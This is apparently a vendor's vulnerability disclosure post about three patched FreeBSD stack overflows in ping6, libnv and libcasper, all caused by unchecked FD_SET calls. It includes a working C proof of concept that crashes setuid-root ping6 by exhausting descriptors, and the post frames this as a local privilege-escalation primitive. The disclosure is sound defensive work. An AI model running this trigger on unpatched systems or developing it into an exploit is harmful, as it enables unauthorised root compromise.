AISLE Finds FreeBSD setuid-root Stack Buffer Overflows in ping6, libnv, and libcasper

Date Published

freebsd ping6

AISLE has discovered three separate stack buffer overflows in FreeBSD that are all reachable through the same basic setup, across three code paths. One of those bugs is reachable in the setuid ping6 binary, which means an ordinary local user can reach the vulnerable path while the process is still running with effective UID 0. In practical terms, that means memory corruption in a root process. Because any local user can trigger the issue, and ping6 runs setuid-root, the bug serves as a primitive for local privilege escalation.

Just like our FreeBSD Remote Code Execution finding, the initial issue here was surfaced by AISLE's autonomous source code security reviewer and then investigated by our triage agents. What made this case especially interesting was not the complexity of the trigger, but the exact opposite: a local user can simply open a large number of file descriptors, execute /sbin/ping6, and push later descriptor allocations above 1023. From there, several code paths call a function in the FreeBSD I/O multiplexing code, which writes past the bounds of a stack allocated in the I/O code, resulting in a stack buffer overflow.

There is also an important historical aspect to the ping6 bug. FreeBSD had already fixed this exact class of issue in closely related code which was fixed in 2002. A corresponding guard was once present in ping6, but later disappeared during refactoring for reasons that made sense at the time. The modern code path no longer has the same safety property, but the guard never returned.

Another detail makes the third bug stand out even more. libcasper is part of FreeBSD's Capsicum and Casper infrastructure, which exists to help contain the impact of untrusted operations and support compartmentalized services. Yet one of the vulnerable paths sits there too. Code associated with sandboxing and damage containment still ends up triggering a stack overflow before the logic recognizes that the descriptor should never have fit in the first place.

After discovering these vulnerabilities, we subsequently reported it to the FreeBSD security team, who fixed the issues. The issues were fixed in commits f5ea3dce, a10bc81d, and 1d0410fb and assigned CVE-2026-39457 and CVE-2026-39461.

Background

To understand why the same setup reaches all three bugs, it helps to start with FD_SET() itself.

Unix-like systems represent open files, sockets, pipes, and similar resources with small integers called file descriptors. Programs often need to wait until one or more of those descriptors becomes ready for I/O. One traditional interface for doing that is select(). The select() API uses a type called fd_set, which is essentially a bitmap. Each bit in that bitmap corresponds to one file descriptor, and helper macros such as FD_ZERO(), FD_SET(), FD_CLR(), and FD_ISSET() are used to manipulate it.

That setup is common and old, which is part of why this bug class is easy to miss. The problem is that a normal fd_set is fixed size. A typical stack fd_set only has room for descriptors from 0 through FD_SETSIZE - 1, which is usually 1024. If code calls FD_SET(fd, &fds) with a descriptor outside that range, it does not fail gracefully: it writes past the end of the bitmap, causing an out-of-bounds write on the stack.

That's the entire bug class here: the code assumes the descriptor is small enough to fit, but the assumption is never enforced and the write happens anyway.

Reaching a large descriptor is straightforward. An unprivileged user raises RLIMIT_NOFILE, opens about 1500 file descriptors, and then executes /sbin/ping6. Those descriptors survive across execve() if they were not opened with O_CLOEXEC, and ping6 does not clean them up early with something like closefrom(). When the new process later opens sockets, the kernel returns file descriptors at or above 1024. At that point, every missing FD_SETSIZE check becomes reachable.

The high-level path is short: open many descriptors, execute setuid-root ping6, force later descriptors above 1023, and reach unchecked FD_SET() calls before later privilege-reduction mechanisms matter.

Bug 1: ping6 lost a guard that ping kept

The first bug is in sbin/ping/ping6.c.

The simplest way to describe it is that ping6 lost a safety check that closely related code kept. FreeBSD had added a guard in related ping code specifically to stop oversized descriptors from reaching FD_SET(). ping6 once had comparable protection too, but that check was later removed during a redesign built around a dynamically sized descriptor bitmap.

That rationale fit the implementation at the time. If the descriptor set is dynamically sized, the old fixed-limit check is no longer the right mechanism. The problem is that the modern vulnerable path in ping6 once again uses a normal stack fd_set. The implementation changed back to something that needs the guard, but the guard never came back.

In the vulnerable path, ping6 creates a stack fd_set and then immediately calls FD_SET(srecv, &rfds) without first ensuring that srecv < FD_SETSIZE. If srecv is 1024 or larger, the write lands beyond the end of the fixed-size stack object:

C
1[..]
2 FD_ZERO(&rfds);
3 FD_SET(srecv, &rfds);
4[..]

This is the cleanest of the three bugs. We can demonstrate this with a simple C program that does exactly what we've just described:

C
1/* cc -o poc poc_ping6_fdset.c && ./poc_ping6_fdset */
2#include <sys/resource.h>
3#include <sys/wait.h>
4#include <err.h>
5#include <fcntl.h>
6#include <signal.h>
7#include <stdio.h>
8#include <stdlib.h>
9#include <string.h>
10#include <unistd.h>
11
12int main(void) {
13 struct rlimit rl;
14 if (getrlimit(RLIMIT_NOFILE, &rl) == -1) err(1, "getrlimit");
15 rl.rlim_cur = rl.rlim_max;
16 if (setrlimit(RLIMIT_NOFILE, &rl) == -1) err(1, "setrlimit");
17 for (int i = 0; i < 1500; i++) // open 1500 file descriptors
18 if (open("/dev/null", O_RDONLY) == -1) err(1, "open");
19 pid_t pid = fork(); // fork
20 if (pid == 0) {
21 char *a[] = {"ping6", "-c", "1", "::1", NULL};
22 execv("/sbin/ping6", a); // execute ping6, with ~1500 other file descriptors open
23 }
24 int s; waitpid(pid, &s, 0);
25 if (WIFSIGNALED(s))
26 printf("ping6 killed by signal %d (%s)n",
27 WTERMSIG(s), strsignal(WTERMSIG(s)));
28 return WIFSIGNALED(s) ? 1 : 0;
29}

Running as a normal user, we demonstrate the crashes:

JavaScript
1freebsd@freebsd15:~ $ ./poc_ping6_fdset
2Assertion failed: (maxfd <= (int)FD_SETSIZE), function casper_main_loop, file /usr/src/lib/libcasper/libcasper/libcasper_service.c, line 261.
3ping6 killed by signal 11 (Segmentation fault)
4freebsd@freebsd15:~ $ ./poc_ping6_fdset ping6
5killed by signal 11 (Segmentation fault)
6freebsd@freebsd15:~ $ ./poc_ping6_fdset
7Assertion failed: (maxfd <= (int)FD_SETSIZE), function casper_main_loop, file /usr/src/lib/libcasper/libcasper/libcasper_service.c, line 261.
8ping6 killed by signal 11 (Segmentation fault)
9freebsd@freebsd15:~ $ ./poc_ping6_fdset

We confirm that the program segfaulted as the root user (uid=0):

JavaScript
1freebsd@freebsd15:~ $ dmesg | tail
2pid 3600 (ping6), jid 0, uid 0: exited on signal 11

Because the issue is locally reachable by an unprivileged user, and because ping6 executes with setuid-root privileges, it should be treated as more than a simple local crash. In practice, it provides a memory-corruption primitive inside a root process, which makes it relevant from a local privilege-escalation perspective.

In testing, repeated runs alternate between two visible outcomes: an assertion from libcasper and a plain segmentation fault in ping6. That is consistent with three related overflows in different paths. Sometimes libcasper reaches its post-overflow assertion first, but sometimes libnv or ping6 corrupts the stack badly enough that execution crashes before the assertion becomes the visible symptom. The important point is that, once any of these overflows occurs, the program is already in undefined-behavior territory. The libcasper assertion only shows that one path eventually noticed an oversized descriptor after multiple stack writes had already occurred.

Bug 2: libnv makes the overflow larger

After the initial FD_SET() in ping6 causes one stack overflow, the program isn't guaranteed to crash with a segmentation fault. When it doesn't crash, ping6 eventually flows through to cap_getaddrinfo() -> cap_xfer_nvlist(chan, nvl) -> nvlist_xfer(chan->cch_sock, ...) -> libnv send/receive helpers -> fd_wait.

The second bug is in lib/libnv/msgio.c, inside fd_wait():

C
1static void
2fd_wait(int fd, bool doread)
3{
4 fd_set fds;
5 FD_ZERO(&fds);
6 FD_SET(fd, &fds); /* no fd < FD_SETSIZE check */
7 (void)select(fd + 1, doread ? &fds : NULL, doread ? NULL : &fds,
8 NULL, NULL);
9}

The first issue is identical to Bug 1. fd_wait() places an fd_set on the stack and then calls FD_SET(fd, &fds) without validating that the descriptor still fits inside the bitmap. If fd is too large, the stack is already corrupted before select() is even called.

But libnv adds a second problem. After performing that out-of-bounds write, it calls select(fd + 1, ...). That tells the kernel to interpret the bitmap as though it were large enough to describe every descriptor from 0 through fd. The stack object is still only a normal fd_set. So the code first corrupts the stack directly, then hands the same undersized bitmap to select() as if it were large enough.

That broadens the failure. Instead of a single bad bit write, the program may now have stack memory beyond the intended fd_set read from or rewritten as part of the select() operation. In other words, libnv does not just repeat the same bug, but makes it even worse.

Bug 3: libcasper notices after the damage is done

That brings us to the assertions.

Well, the third bug is in lib/libcasper/libcasper/libcasper_service.c, in the main loop:

C
1FD_ZERO(&fds);
2FD_SET(fd, &fds); /* no check, overflows */
3/* ... iterate service connections ... */
4FD_SET(sock, &fds); /* also overflows */
5maxfd = sock > maxfd ? sock : maxfd;
6/* ... */
7assert(maxfd <= (int)FD_SETSIZE); /* fires after the overflow */

As we see, there is an assertion that checks whether the descriptor was too large, but it runs after the FD_SET() calls have already happened. By the time execution reaches the assertion, the stack has already been corrupted, meaning the assertion is not a guard, and is only evidence that the code noticed the problem too late.

There is also an obvious irony here. libcasper exists to support sandboxed services and reduce the impact of risky operations inside constrained environments. Yet one of the vulnerable paths sits in that defensive plumbing itself. A component tied to FreeBSD's sandboxing story is still performing unchecked bitmap writes on attacker-controlled descriptor values.

Conclusion

This is not the first time FreeBSD's ping code has had a noteworthy stack overflow. A separate overflow in ping was disclosed in 2022, involving a 40-byte stack overwrite (CVE-2022-23093). That was a different bug with a different trigger and root cause, but it is worth mentioning because it shows how brittle even basic programs like ping can be in a security-sensitive context. AI-assisted source code analyzers are making it much easier to find issues like these, which means we need to work harder and more quickly to secure the technology and infrastructure that underpins the internet.

At AISLE, we develop an autonomous security platform that uncovers real vulnerabilities in the software that powers critical systems worldwide. The same discovery capability used to identify the vulnerability covered in this post is part of a broader workflow that also supports triage, patch generation, and verification through our remediation pipeline. Instead of handing developers and security teams a raw set of issues, AISLE helps turn findings into concrete, validated fixes. If your organization depends on software it needs to trust, reach out to us.

To read more about the discoveries we've made using our autonomous analyzer, check out these resources:

Our appreciation goes to the FreeBSD team for everything they do, and their work on fixing this issue. These vulnerabilities were discovered by Joshua Rogers using AISLE's autonomous analyzer.